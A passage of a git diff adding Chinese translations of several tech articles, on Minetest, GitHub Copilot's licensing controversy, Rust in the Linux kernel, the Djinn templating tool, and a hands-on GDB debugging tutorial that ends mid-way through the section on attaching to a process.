中花了几个小时在我的本地系统上进行构建和探索。它非常有趣。我还没来得及尝试任何额外的内容,因为我对我玩过的相对较少的游戏部分非常满意。我遇到的唯一麻烦是,由于某种原因,它在 Fedora 上运行缓慢。我可能存在一些配置上的错误。 + +如果你曾经认为 Minecraft 看起来很有趣,但不想花钱,那就去看看 Minetest。你会很高兴你这么做。 + +如果你玩过 Minetest,在评论中告诉我们你的体验如何。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/minetest/ + +作者:[John Paul][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/john/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/wp-content/uploads/2022/03/minetest-start-800x411.jpg +[2]: https://www.minetest.net/ +[3]: https://content.minetest.net/ +[4]: https://dev.minetest.net/Modding_Intro +[5]: https://itsfoss.com/wp-content/uploads/2022/03/minetest-packages-800x411.jpg +[6]: https://www.minetest.net/education/ +[7]: https://forum.minetest.net/viewtopic.php?t=22871 +[8]: https://en.wikipedia.org/wiki/Minetest#Usage_in_education +[9]: https://itsfoss.com/wp-content/uploads/2022/03/minetes-map1-800x411.png +[10]: https://itsfoss.com/wp-content/uploads/2022/03/minetest-map2-800x413.png +[11]: https://www.minetest.net/downloads/ +[12]: https://play.google.com/store/apps/details?id=net.minetest.minetest&utm_source=website&pcampaignid=MKT-Other-global-all-co-prtnr-py-PartBadge-Mar2515-1 +[13]: https://github.com/minetest/minetest/releases/download/5.5.0/app-armeabi-v7a-release.apk +[14]: https://itsfoss.com/wp-content/uploads/2022/03/minetest-about-800x407.jpg diff --git a/published/202206/20220624 GitHub Copilot is Now Available for All and Not Everyone Likes It.md b/published/202206/20220624 GitHub Copilot is Now Available for All and Not Everyone Likes It.md new file mode 100644 index 0000000000..345b934ec0 --- /dev/null +++ b/published/202206/20220624 GitHub Copilot is Now Available for All and Not Everyone Likes It.md @@ -0,0 +1,91 @@ +[#]: subject: "GitHub Copilot is Now Available for All and Not Everyone Likes It" +[#]: via: "https://news.itsfoss.com/github-copilot/" +[#]: author: "Jacob Crume https://news.itsfoss.com/author/jacob/" +[#]: collector: "lkxed" +[#]: translator: "lkxed" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14759-1.html" + +GitHub Copilot 现已可供所有人使用,但并非所有人都喜欢它 +====== + +> GitHub Copilot 来了,它能帮助程序员,为他们提供人工智能的编码建议,不过,它是否会让事情变得更糟呢? + +![GitHub][1] + +在 2021 年,我曾花了好几个小时来翻阅 GitHub Copilot 文档,试图弄清楚如何能够加入它的技术预览计划。还好,这一切都得到了回报,我成功加入了预览计划。 + +而现在,它终于可供所有人使用啦! + +如果你还不知道的话,[GitHub Copilot][2] 是一个 AI 助手,可帮助你更快、更高效地编写代码。 + +我能想到的最类似的东西,就是你手机上的(输入法的)自动完成功能。不过,与自动完成功能不同,GitHub Copilot 编写代码,就相当于是在完成整段的句子。 + +### Copilot 现已可供大众使用 + +正如我在前面提到的,Copilot 已经处于技术预览阶段将近一年了。这意味着,GitHub 只允许非常有限数量的开发者免费使用它,以换取同意 GitHub 监控他们的使用情况,从而改进程序的最终版本。 + +看起来 GitHub 终于满意地向公众发布了它。现在,任何拥有 GitHub 帐户的人都应该能够使用它,尽管需要付出一定的代价(我很快就会在下面提到)。 + +[公告][3] 中提到: + +> 直到不久前,人工智能都没有能够帮助改进代码,开发软件的过程几乎完全是手动的。现在,这种情况正在改变。今天,我很高兴地宣布,我们正在向所有个人开发者提供 [GitHub Copilot][4]。你的 AI 配对程序员来啦。 +> +> —— [Thomas Dohmke][5],GitHub CEO + +Copilot 作为免费的编辑器扩展,已经帮助数百万开发者加快了他们的编程速度。然而,它确实是有代价的,无论是直接的还是间接的。 + +### GitHub Copilot 定价 + +与几乎所有令人兴奋的新技术一样,Copilot 对某些人来说可能过于昂贵。它将花费你 10 美元/月或 100 美元/年。 + +如果你是开源项目维护者或经过验证的学生,那么你可以免费使用它。 + +### GitHub Copilot 不道德吗? + +围绕 GitHub Copilot 产品的争议巨大且令人担忧。从技术上讲,这个人工智能是使用大家托管在 GitHub 上的代码来进行训练的。 + +因此,基本上,GitHub 是通过使用你的代码来提供一个新产品(如果你愿意的话,还可以加点料)。而且,关于 Copilot,可别忘了,自由软件基金会(FSF)也 [建议][6] 不要在 GitHub 上托管代码。 + +我们知道,企业总是喜欢利用事物,但有些人认为这应该不会直接损害托管在 GitHub 上的项目/代码。 + +**但是,是这样吗?** + +简而言之,在 Copilot 发布后,许多开发者都分享说,他们发现 GitHub Copilot 生成了受版权保护的代码: + +> 我试了下 GitHub Copilot,这是一项付费服务​​,来看看它是否会使用带有限制性许可证的存储库的代码。我检查了它,看看它是否有我在之前雇主那里编写的代码,该代码有一个许可证,只允许其用于免费游戏,并且需要附加许可证。是的,它确实有。 + +![图源:推特上的 Chris Green][7] + +当然,如果我们查看 GitHub Copilot 的常见问题解答(FAQ),其中提到: + +> GitHub 不拥有 GitHub Copilot 生成的建议。您在 GitHub Copilot 的帮助下编写的代码属于您自己,由您自己负责。 + +所以说,你为一项服务付了费,最终却为你的项目增加了不便和更多的工作? + +在我看来,就简化开发者的任务而言,这听起来一点儿也不令人兴奋。 + +*你对此有什么想法?请在下面的评论区中分享一下吧!* + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/github-copilot/ + +作者:[Jacob Crume][a] +选题:[lkxed][b] +译者:[lkxed](https://github.com/lkxed) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/jacob/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/wp-content/uploads/2022/06/github-copilot.jpg +[2]: https://copilot.github.com/ +[3]: https://github.blog/2022-06-21-github-copilot-is-generally-available-to-all-developers/ +[4]: http://copilot.github.com +[5]: https://github.blog/author/ashtom/ +[6]: https://www.fsf.org/blogs/licensing/fsf-funded-call-for-white-papers-on-philosophical-and-legal-questions-around-copilot +[7]: https://pbs.twimg.com/media/FV45qM_VEAALLv6?format=png&name=medium +[8]: https://twitter.com/ChrisGr93091552/status/1539731632931803137?ref_src=twsrc%5Etfw diff --git a/published/202206/20220624 Linus Torvalds Expects to See Rust Support in the Kernel Soon.md b/published/202206/20220624 Linus Torvalds Expects to See Rust Support in the Kernel Soon.md new file mode 100644 index 0000000000..84501ed7fa --- /dev/null +++ b/published/202206/20220624 Linus Torvalds Expects to See Rust Support in the Kernel Soon.md @@ -0,0 +1,64 @@ +[#]: subject: "Linus Torvalds Expects to See Rust Support in the Kernel Soon" +[#]: via: "https://news.itsfoss.com/linux-kernel-rust/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: "lkxed" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14763-1.html" + +Linus Torvalds 暗示很快就可以在内核中看到对 Rust 的支持 +====== + +> 正如 Linus Torvalds 所暗示,Linux Kernel 5.20 发布时可能会提供对 Rust 的支持。你怎么看? + +![Linus][1] + +市面上已经有许多用 Rust 重写的开源项目。因此,如今 Rust 被认为是 Linux 内核的第二语言,也就不足为奇了。 + +几天前,在 [Linux 基金会开源峰会][2] 上,Linus Torvals 提到他们预计将在下一个内核版本(即 Linux 内核 5.20)中对 Rust 进行试验。 + +或许你不知道,正如 [Phoronix][3] 率先报道的那样,Linux 已经有了 Rust 内核补丁,包含了少量的示例驱动程序,以及基本的基础设施的启用代码。 + +因此,Linus Torvalds 对可能合并 Rust 支持的暗示,也不足为奇。但是,这无疑是令人兴奋的! + +### 用于 Linux 内核的 Rust + +这么做的最终目标是让 Linux 内核变得更好,但它现在仍然处于试运行阶段。 + +凭借其各种优势,Rust 正日益成为一种流行的编程语言。还记得吗,[System76 也在开发一个用 Rust 编写的新桌面环境][4]。 + +然而,并不是所有参与维护 Linux 内核的人都熟悉这种编程语言。 + +那么,这会是一个问题吗? + +Linus Torvalds 并不认为这是一个大问题,因为内核中也有其他语言。他还提到希望看到 Rust 成为新的一份子。 + +[The Register][5] 报道称,Linus Torvalds 表示会信任维护者,除非他们犯了错误。 + +### Linux 5.20:何时发布? + +Linux 内核 5.19 版本将于 7 月底左右发布。因此,5.20 版本的合并窗口应该会在其稳定版发布后开启(假设没有意外延迟的话)。 + +除了 Rust 以外,Linux 内核 5.20 应该也是对包括 RDNA3 在内的下一代硬件支持的重要更新,它同时提供了更多功能。 + +*你如何看待 Rust 将在不久的将来进入 Linux 呢?你感到兴奋吗?欢迎在下方评论区告诉我们~* + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/linux-kernel-rust/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[lkxed](https://github.com/lkxed) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/wp-content/uploads/2022/06/linus-expects-rust-support-in-linux-kernel-soon.jpg +[2]: https://events.linuxfoundation.org/open-source-summit-north-america/ +[3]: https://www.phoronix.com/scan.php?page=news_item&px=Rust-Linux-v7-Plus-New-Uutils +[4]: https://news.itsfoss.com/system76-rust-cosmic-desktop/ +[5]: https://www.theregister.com/2022/06/23/linus_torvalds_rust_linux_kernel/ diff --git a/published/202207/20210101 Djinn- A Code Generator and Templating Language Inspired by Jinja2.md b/published/202207/20210101 Djinn- A Code Generator and Templating Language Inspired by Jinja2.md new file mode 100644 index 0000000000..e4fac67c25 --- /dev/null +++ b/published/202207/20210101 Djinn- A Code Generator and Templating Language Inspired by Jinja2.md @@ -0,0 +1,267 @@ +[#]: collector: (lujun9972) +[#]: translator: (hanszhao80) +[#]: reviewer: (wxy) +[#]: publisher: (wxy) +[#]: url: (https://linux.cn/article-14792-1.html) +[#]: subject: (Djinn: A Code Generator and Templating Language Inspired by Jinja2) +[#]: via: (https://theartofmachinery.com/2021/01/01/djinn.html) +[#]: author: (Simon Arneaud https://theartofmachinery.com) + +Djinn:一个受 Jinja2 启发的代码生成器和模板语言 +====== + +![](https://img.linux.net.cn/data/attachment/album/202207/04/101711nq2we7z7x7wz2z7e.jpg) + +代码生成器是非常有用的工具。我有时使用 [jinja2][1] 的命令行版本来生成高度冗余的配置文件和其他文本文件,但它在转换数据方面功能有限。显然,Jinja2 的作者有不同的想法,而我想要类似于 列表推导list comprehensions 或 D 语言的 可组合范围composable range 算法之类的东西。 + +我决定制作一个类似于 Jinja2 的工具,但让我可以通过使用范围算法转换数据来生成复杂的文件。这个想法非常简单:一个直接用 D 语言代码重写的模板语言。因为它 _就是_ D 语言,它可以支持 D 语言所能做的一切。我想要一个独立的代码生成器,但是由于 [D 语言的 `mixin` 特性][2],同样的模板语言可以作为嵌入式模板语言工作(例如,Web 应用程序中的 HTML)。有关该技巧的更多信息,请参阅 [这篇关于在编译时使用 mixins 将 Brainfuck 转换为 D 和机器代码的文章][3]。 + +像往常一样,[源码在 GitLab 上][4]。[这篇文章中的例子也可以在这里找到][5]。 + +### Hello world 示例 + +这是一个演示这个想法的例子: + +``` +Hello [= retro("dlrow") ]! +[: enum one = 1; :] +1 + 1 = [= one + one ] +``` + +`[= some_expression ]` 类似于 Jinja2 中的 `{{ some_expression }}`,它在输出中呈现一个值。`[: some_statement; :]` 类似于 `{% some_statement %}` ,用于执行完整的代码语句。我更改了语法,因为 D 也大量使用花括号,并且将两者混合使模板难以阅读(还有一些特殊的非 D 指令,比如 `include`,它们被包裹在 `[<` 和 `>]` 中)。 + +如果你将上面的内容保存到一个名为 `hello.txt.dj` 的文件中并运行 `djinn` 命令行工具,你会得到一个名为 `hello.txt` 的文件,其中包含你可能猜到的内容: + +``` +Hello world! +1 + 1 = 2 +``` + +如果你使用过 Jinja2,你可能想知道第二行发生了什么。Djinn 有一个简化格式化和空格处理的特殊规则:如果源代码行包含 `[:` 语句或 `[<` 指令但不包含任何非空格输出,则整行都会被忽略输出。空行则仍会原样呈现。 + +### 生成数据 + +好的,现在来讲一些更实用的东西:生成 CSV 数据。 + +``` +x,f(x) +[: import std.mathspecial; +foreach (x; iota(-1.0, 1.0, 0.1)) :] +[= "%0.1f,%g", x, normalDistribution(x) ] +``` + +一个 `[=` 和 `]` 对可以包含多个用逗号分隔的表达式。如果第一个表达式是一个由双引号包裹的字符串,则会被解释为 [格式化字符串][6]。下面是输出结果: + +``` +x,f(x) +-1.0,0.158655 +-0.9,0.18406 +-0.8,0.211855 +-0.7,0.241964 +-0.6,0.274253 +-0.5,0.308538 +-0.4,0.344578 +-0.3,0.382089 +-0.2,0.42074 +-0.1,0.460172 +0.0,0.5 +0.1,0.539828 +0.2,0.57926 +0.3,0.617911 +0.4,0.655422 +0.5,0.691462 +0.6,0.725747 +0.7,0.758036 +0.8,0.788145 +0.9,0.81594 +``` + +### 制作图片 + +这个例子展示了一个图片的生成过程。[经典的 Netpbm 图像库定义了一堆图像格式][7],其中一些是基于文本的。例如,这是一个 3 x 3 向量的图像: + +``` +P2 # PGM 格式标识 +3 3 # 宽和高 +7 # 代表纯白色的值(0 代表黑色) +7 0 7 +0 0 0 +7 0 7 +``` + +你可以将上述文本保存到名为 `cross.pgm` 之类的文件中,很多图像工具都知道如何解析它。下面是一些 Djinn 代码,它以相同的格式生成 [Mandelbrot 集][8] 分形: + +``` +[: +import std.complex; +enum W = 640; +enum H = 480; +enum kMaxIter = 20; +ubyte mb(uint x, uint y) +{ + const c = complex(3.0 * (x - W / 1.5) / W, 2.0 * (y - H / 2.0) / H); + auto z = complex(0.0); + ubyte ret = kMaxIter; + while (abs(z) <= 2 && --ret) z = z * z + c; + return ret; +} +:] +P2 +[= W ] [= H ] +[= kMaxIter ] +[: foreach (y; 0..H) :] +[= "%(%s %)", iota(W).map!(x => mb(x, y)) ] +``` + +生成的文件大约为 800 kB,但它可以很好地被压缩为 PNG: + +``` +$ # 使用 GraphicsMagick 进行转换 +$ gm convert mandelbrot.pgm mandelbrot.png +``` + +结果如下: + +![][9] + +### 解决谜题 + +这里有一个谜题: + +![][10] + +一个 5 行 5 列的网格需要用 1 到 5 的数字填充,每个数字在每一行中限使用一次,在每列中限使用一次(即,制作一个 5 行 5 列的拉丁方格Latin square)。相邻单元格中的数字还必须满足所有 `>` 大于号表示的不等式。 + +[几个月前我使用了 线性规划linear programming(LP)][11]。线性规划问题是具有线性约束的连续变量系统。这次我将使用混合整数线性规划mixed integer linear programming(MILP),它通过允许整数约束变量来归纳 LP。事实证明,这足以成为 NP 完备的,而 MILP 恰好可以很好地模拟这个谜题。 + +在上一篇文章中,我使用 Julia 库 JuMP 来帮助解决这个问题。这次我将使用 [CPLEX:基于文本的格式][12],它受到多个 LP 和 MILP 求解器的支持(如果需要,可以通过现成的工具轻松转换为其他格式)。这是上一篇文章中 CPLEX 格式的 LP: + +``` +Minimize + obj: v +Subject To + ptotal: pr + pp + ps = 1 + rock: 4 ps - 5 pp - v <= 0 + paper: 5 pr - 8 ps - v <= 0 + scissors: 8 pp - 4 pr - v <= 0 +Bounds + 0 <= pr <= 1 + 0 <= pp <= 1 + 0 <= ps <= 1 +End +``` + +CPLEX 格式易于阅读,但复杂度高的问题需要大量变量和约束来建模,这使得手工编码既痛苦又容易出错。有一些特定领域的语言,例如 [ZIMPL][13],用于以高级方式描述 MILP 和 LP。对于许多问题来说,它们非常酷,但最终它们不如具有良好库(如 JuMP)支持的通用语言或使用 D 语言的代码生成器那样富有表现力。 + +我将使用两组变量来模拟这个谜题:`v_{r,c}` 和 `i_{r,c,v}`。`v_{r,c}` 将保存 r 行 c 列单元格的值(从 1 到 5)。`i_{r,c,v}` 是一个二进制指示器,如果 r 行 c 列的单元格的值是 v,则该指示器值为 1,否则为 0。这两组变量是网格的冗余表示,但第一种表示更容易对不等式约束进行建模,而第二种表示更容易对唯一性约束进行建模。我只需要添加一些额外的约束来强制这两个表示是一致的。但首先,让我们从每个单元格必须只有一个值的基本约束开始。从数学上讲,这意味着给定行和列的所有指示器都必须为 0,但只有一个值为 1 的例外。这可以通过以下等式强制约束: + +``` +[i_{r,c,1} + i_{r,c,2} + i_{r,c,3} + i_{r,c,4} + i_{r,c,5} = 1] +``` + +可以使用以下 Djinn 代码生成对所有行和列的 CPLEX 约束: + +``` +\ 单元格只有一个值 +[: +foreach (r; iota(N)) +foreach (c; iota(N)) +:] + [= "%-(%s + %)", vs.map!(v => ivar(r, c, v)) ] = 1 +[::] +``` + +`ivar()` 是一个辅助函数,它为我们提供变量名为 `i` 的字符串标识符,而 `vs` 存储从 1 到 5 的数字以方便使用。行和列内唯一性的约束完全相同,但在 `i` 的其他两个维度上迭代。 + +为了使变量组 `i` 与变量组 `v` 保持一致,我们需要如下约束(请记住,变量组 `i` 中只有一个元素的值是非零的): + +``` +[i_{r,c,1} + 2i_{r,c,2} + 3i_{r,c,3} + 4i_{r,c,4} + 5i_{r,c,5} = v_{r,c}] +``` + +CPLEX 要求所有变量都位于左侧,因此 Djinn 代码如下所示: + +``` +\ 连接变量组 i 和变量组 v +[: +foreach (r; iota(N)) +foreach (c; iota(N)) +:] + [= "%-(%s + %)", vs.map!(v => text(v, ' ', ivar(r, c, v))) ] - [= vvar(r,c) ] = 0 +[::] +``` + +不等符号相邻的和左下角值为为 4 单元格的约束写起来都很简单。剩下的便是将指示器变量声明为二进制,并为变量组 `v` 设置边界。加上变量的边界,总共有 150 个变量和 111 个约束 [你可以在仓库中看到完整的代码][14]。 + +[GNU 线性规划工具集][15] 有一个命令行工具可以解决这个 CPLEX MILP。不幸的是,它的输出是一个包含了所有内容的体积很大的转储,所以我使用 awk 命令来提取需要的内容: + +``` +$ time glpsol --lp inequality.lp -o /dev/stdout | awk '/v[0-9][0-9]/ { print $2, $4 }' | sort +v00 1 +v01 3 +v02 2 +v03 5 +v04 4 +v10 2 +v11 5 +v12 4 +v13 1 +v14 3 +v20 3 +v21 1 +v22 5 +v23 4 +v24 2 +v30 5 +v31 4 +v32 3 +v33 2 +v34 1 +v40 4 +v41 2 +v42 1 +v43 3 +v44 5 + +real 0m0.114s +user 0m0.106s +sys 0m0.005s +``` + +这是在原始网格中写出的解决方案: + +![][16] + +这些例子只是用来玩的,但我相信你已经明白了。顺便说一下,Djinn 代码仓库的 `README.md` 文件本身是使用 Djinn 模板生成的。 + +正如我所说,Djinn 也可以用作嵌入在 D 语言代码中的编译期模板语言。我最初只是想要一个代码生成器,得益于 D 语言的元编程功能,这算是一个额外获得的功能。 + +-------------------------------------------------------------------------------- + +via: https://theartofmachinery.com/2021/01/01/djinn.html + +作者:[Simon Arneaud][a] +选题:[lujun9972][b] +译者:[hanszhao80](https://github.com/hanszhao80) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://theartofmachinery.com +[b]: https://github.com/lujun9972 +[1]: https://jinja2docs.readthedocs.io/en/stable/ +[2]: https://dlang.org/articles/mixin.html +[3]: https://theartofmachinery.com/2017/12/31/compile_time_brainfuck.html +[4]: https://gitlab.com/sarneaud/djinn +[5]: https://gitlab.com/sarneaud/djinn/-/tree/v0.1.0/examples +[6]: https://dlang.org/phobos/std_format.html#format-string +[7]: http://netpbm.sourceforge.net/doc/#formats +[8]: https://en.wikipedia.org/wiki/Mandelbrot_set +[9]: https://theartofmachinery.com/images/djinn/mandelbrot.png +[10]: https://theartofmachinery.com/images/djinn/inequality.svg +[11]: https://theartofmachinery.com/2020/05/21/glico_weighted_rock_paper_scissors.html +[12]: http://lpsolve.sourceforge.net/5.0/CPLEX-format.htm +[13]: https://zimpl.zib.de/ +[14]: https://gitlab.com/sarneaud/djinn/-/tree/v0.1.0/examples/inequality.lp.dj +[15]: https://www.gnu.org/software/glpk/ +[16]: https://theartofmachinery.com/images/djinn/inequality_solution.svg diff --git a/published/202207/20210107 A hands-on tutorial for using the GNU Project Debugger.md b/published/202207/20210107 A hands-on tutorial for using the GNU Project Debugger.md new file mode 100644 index 0000000000..d4efbf9e65 --- /dev/null +++ b/published/202207/20210107 A hands-on tutorial for using the GNU Project Debugger.md @@ -0,0 +1,547 @@ +[#]: subject: "A hands-on tutorial for using the GNU Project Debugger" +[#]: via: "https://opensource.com/article/21/1/gnu-project-debugger" +[#]: author: "Stephan Avenwedde https://opensource.com/users/hansic99" +[#]: collector: "lkxed" +[#]: translator: "Maisie-x" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14853-1.html" + +手把手教你使用 GNU 调试器 +====== + +![](https://img.linux.net.cn/data/attachment/album/202207/22/122211c2fgo53m9tw3xe2p.jpg) + +> GNU 调试器是一个发现程序缺陷的强大工具。 + +如果你是一个程序员,想在你的软件增加某些功能,你首先考虑实现它的方法:例如写一个方法、定义一个类,或者创建新的数据类型。然后你用编译器或解释器可以理解的编程语言来实现这个功能。但是,如果你觉得你所有代码都正确,但是编译器或解释器依然无法理解你的指令怎么办?如果软件大多数情况下都运行良好,但是在某些环境下出现缺陷怎么办?这种情况下,你得知道如何正确使用调试器找到问题的根源。 + +GNU 调试器GNU Project Debugger([GDB][2])是一个发现项目缺陷的强大工具。它通过追踪程序运行过程中发生了什么来帮助你发现程序错误或崩溃的原因。(LCTT 校注:GDB 全程是“GNU Project Debugger”,即 “GNU 项目调试器”,但是通常我们简称为“GNU 调试器”) + +本文是 GDB 基本用法的实践教程。请跟随示例,打开命令行并克隆此仓库: + +``` +git clone https://github.com/hANSIc99/core_dump_example.git +``` + +### 快捷方式 + +GDB 的每条命令都可以缩短。例如:显示设定的断点的 `info break` 命令可以被缩短为 `i break`。你可能在其他地方看到过这种缩写,但在本文中,为了清晰展现使用的函数,我将所写出整个命令。 + +### 命令行参数 + +你可以将 GDB 附加到每个可执行文件。进入你克隆的仓库(`core_dump_example`),运行 `make` 进行编译。你现在能看到一个名为 `coredump` 的可执行文件。(更多信息,请参考我的文章《[创建和调试 Linux 的转储文件][3]》。) + +要将 GDB 附加到这个可执行文件,请输入: `gdb coredump`。 + +你的输出应如下所示: + +![gdb coredump output][4] + +返回结果显示没有找到调试符号。 + +调试信息是目标文件object file(可执行文件)的组成部分,调试信息包括数据类型、函数签名、源代码和操作码之间的关系。此时,你有两种选择: + +* 继续调试汇编代码(参见下文“无符号调试”) +* 使用调试信息进行编译,参见下一节内容 + +### 使用调试信息进行编译 + +为了在二进制文件中包含调试信息,你必须重新编译。打开 `Makefile`,删除第 9 行的注释标签(`#`)后重新编译: + +``` +CFLAGS =-Wall -Werror -std=c++11 -g +``` + +`-g` 告诉编译器包含调试信息。运行 `make clean`,接着运行 `make`,然后再次调用 GDB。你得到如下输出后就可以调试代码了: + +![GDB output with symbols][5] + +新增的调试信息会增加可执行文件的大小。在这种情况下,执行文件增加了 2.5 倍(从 26,088 字节 增加到 65,480 字节)。 + +输入 `run -c1`,使用 `-c1` 开关启动程序。当程序运行到达 `State_4` 时将崩溃: + +![gdb output crash on c1 switch][6] + +你可以检索有关程序的其他信息,`info source` 命令提供了当前文件的信息: + +![gdb info source output][7] + +* 101 行代码 +* 语言: C++ +* 编译器(版本、调优、架构、调试标志、语言标准) +* 调试格式:[DWARF 2][8] +* 没有预处理器宏指令(使用 GCC 编译时,宏仅在 [使用 -g3 标志编译][9] 时可用)。 + +`info shared` 命令打印了动态库列表机器在虚拟地址空间的地址,它们在启动时被加载到该地址,以便程序运行: + +![gdb info shared output][10] + +如果你想了解 Linux 中的库处理方式,请参见我的文章 [在 Linux 中如何处理动态库和静态库][11]。 + +### 调试程序 + +你可能已经注意到,你可以在 GDB 中使用 `run` 命令启动程序。`run` 命令接受命令行参数,就像从控制台启动程序一样。`-c1` 开关会导致程序在第 4 阶段崩溃。要从头开始运行程序,你不用退出 GDB,只需再次运行 `run` 命令。如果没有 `-c1` 开关,程序将陷入死循环,你必须使用 `Ctrl+C` 来结束死循环。 + +![gdb output stopped by sigint][12] + +你也可以一步一步运行程序。在 C/C++ 中,入口是 `main` 函数。使用 `list main` 命令打开显示 `main` 函数的部分源代码: + +![gdb output list main][13] + +`main` 函数在第 33 行,因此可以输入 `break 33` 在 33 行添加断点: + +![gdb output breakpoint added][14] + +输入 `run` 运行程序。正如预期的那样,程序在 `main` 函数处停止。输入 `layout src` 并排查看源代码: + +![gdb output break at main][15] + +你现在处于 GDB 的文本用户界面(TUI)模式。可以使用键盘向上和向下箭头键滚动查看源代码。 + +GDB 高亮显示当前执行行。你可以输入 `next`(`n`)命令逐行执行命令。如果你没有指定新的命令,GBD 会执行上一条命令。要逐行运行代码,只需按回车键。 + +有时,你会发现文本的输出有点显示不正常: + +![gdb output corrupted][16] + +如果发生这种情况,请按 `Ctrl+L` 重置屏幕。 + +使用 `Ctrl+X+A` 可以随时进入和退出 TUI 模式。你可以在手册中找到 [其他的键绑定][17] 。 + +要退出 GDB,只需输入 `quit`。 + +### 设置监察点 + +这个示例程序的核心是一个在无限循环中运行的状态机。`n_state` 变量枚举了当前所有状态: + +``` +while(true){ +        switch(n_state){ +        case State_1: +                std::cout << "State_1 reached" << std::flush; +                n_state = State_2; +                break; +        case State_2: +                std::cout << "State_2 reached" << std::flush; +                n_state = State_3; +                break; +        +        (.....) +        +        } +} +``` + +如果你希望当 `n_state` 的值为 `State_5` 时停止程序。为此,请在 `main` 函数处停止程序并为 `n_state` 设置监察点: + +``` +watch n_state == State_5 +``` + +只有当所需的变量在当前上下文中可用时,使用变量名设置监察点才有效。 + +当你输入 `continue` 继续运行程序时,你会得到如下输出: + +![gdb output stop on watchpoint_1][18] + +如果你继续运行程序,当监察点表达式评估为 `false` 时 GDB 将停止: + +![gdb output stop on watchpoint_2][19] + +你可以为一般的值变化、特定的值、读取或写入时来设置监察点。 + +### 更改断点和监察点 + +输入 `info watchpoints` 打印先前设置的监察点列表: + +![gdb output info watchpoints][20] + +#### 删除断点和监察点 + +如你所见,监察点就是数字。要删除特定的监察点,请先输入 `delete` 后输入监察点的编号。例如,我的监察点编号为 2;要删除此监察点,输入 `delete 2`。 + +*注意:* 如果你使用 `delete` 而没有指定数字,*所有* 监察点和断点将被删除。 + +这同样适用于断点。在下面的截屏中,我添加了几个断点,输入 `info breakpoint` 打印断点列表: + +![gdb output info breakpoints][21] + +要删除单个断点,请先输入 `delete` 后输入断点的编号。另外一种方式:你可以通过指定断点的行号来删除断点。例如,`clear 78` 命令将删除第 78 行设置的断点号 7。 + +#### 禁用或启用断点和监察点 + +除了删除断点或监察点之外,你可以通过输入 `disable`,后输入编号禁用断点或监察点。在下文中,断点 3 和 4 被禁用,并在代码窗口中用减号标记: + +![disabled breakpoints][22] + +也可以通过输入类似 `disable 2 - 4` 修改某个范围内的断点或监察点。如果要重新激活这些点,请输入 `enable`,然后输入它们的编号。 + +### 条件断点 + +首先,输入 `delete` 删除所有断点和监察点。你仍然想使程序停在 `main` 函数处,如果你不想指定行号,可以通过直接指明该函数来添加断点。输入 `break main` 从而在 `main` 函数处添加断点。 + +输入 `run` 从头开始运行程序,程序将在 `main` 函数处停止。 + +`main` 函数包括变量 `n_state_3_count`,当状态机达到状态 3 时,该变量会递增。 + +基于 `n_state_3_count` 的值添加一个条件断点,请输入: + +``` +break 54 if n_state_3_count == 3 +``` + +![Set conditional breakpoint][23] + +继续运行程序。程序将在第 54 行停止之前运行状态机 3 次。要查看 `n_state_3_count` 的值,请输入: + +``` +print n_state_3_count +``` + +![print variable][24] + +#### 使断点成为条件断点 + +你也可以使现有断点成为条件断点。用 `clear 54` 命令删除最近添加的断点,并通过输入 `break 54` 命令添加一个简单的断点。你可以输入以下内容使此断点成为条件断点: + +``` +condition 3 n_state_3_count == 9 +``` + +`3` 指的是断点编号。 + +![modify breakpoint][25] + +#### 在其他源文件中设置断点 + +如果你的程序由多个源文件组成,你可以在行号前指定文件名来设置断点,例如,`break main. cpp:54`。 + +#### 捕捉点 + +除了断点和监察点之外,你还可以设置捕获点。捕获点适用于执行系统调用、加载共享库或引发异常等事件。 + +要捕获用于写入 STDOUT 的 `write` 系统调用,请输入: + +``` +catch syscall write +``` + +![catch syscall write output][26] + +每当程序写入控制台输出时,GDB 将中断执行。 + +在手册中,你可以找到一整章关于 [断点、监察点和捕捉点][27] 的内容。 + +### 评估和操作符号 + +用 `print` 命令可以打印变量的值。一般语法是 `print <表达式> <值>`。修改变量的值,请输入: + +``` +set variable . +``` + +在下面的截屏中,我将变量 `n_state_3_count` 的值设为 `123`。 + +![catch syscall write output][28] + +`/x` 表达式以十六进制打印值;使用 `&` 运算符,你可以打印虚拟地址空间内的地址。 + +如果你不确定某个符号的数据类型,可以使用 `whatis` 来查明。 + +![whatis output][29] + +如果你要列出 `main` 函数范围内可用的所有变量,请输入 `info scope main` : + +![info scope main output][30] + +`DW_OP_fbreg` 值是指基于当前子程序的堆栈偏移量。 + +或者,如果你已经在一个函数中并且想要列出当前堆栈帧上的所有变量,你可以使用 `info locals` : + +![info locals output][31] + +查看手册以了解更多 [检查符号][32] 的内容。 + +### 附加调试到一个正在运行的进程 + +`gdb attach <进程 ID>` 命令允许你通过指定进程 ID(PID)附加到一个已经在运行的进程进行调试。幸运的是,`coredump` 程序将其当前 PID 打印到屏幕上,因此你不必使用 [ps][33] 或 [top][34] 手动查找 PID。 + +启动 `coredump` 应用程序的一个实例: + +``` +./coredump +``` + +![coredump application][35] + 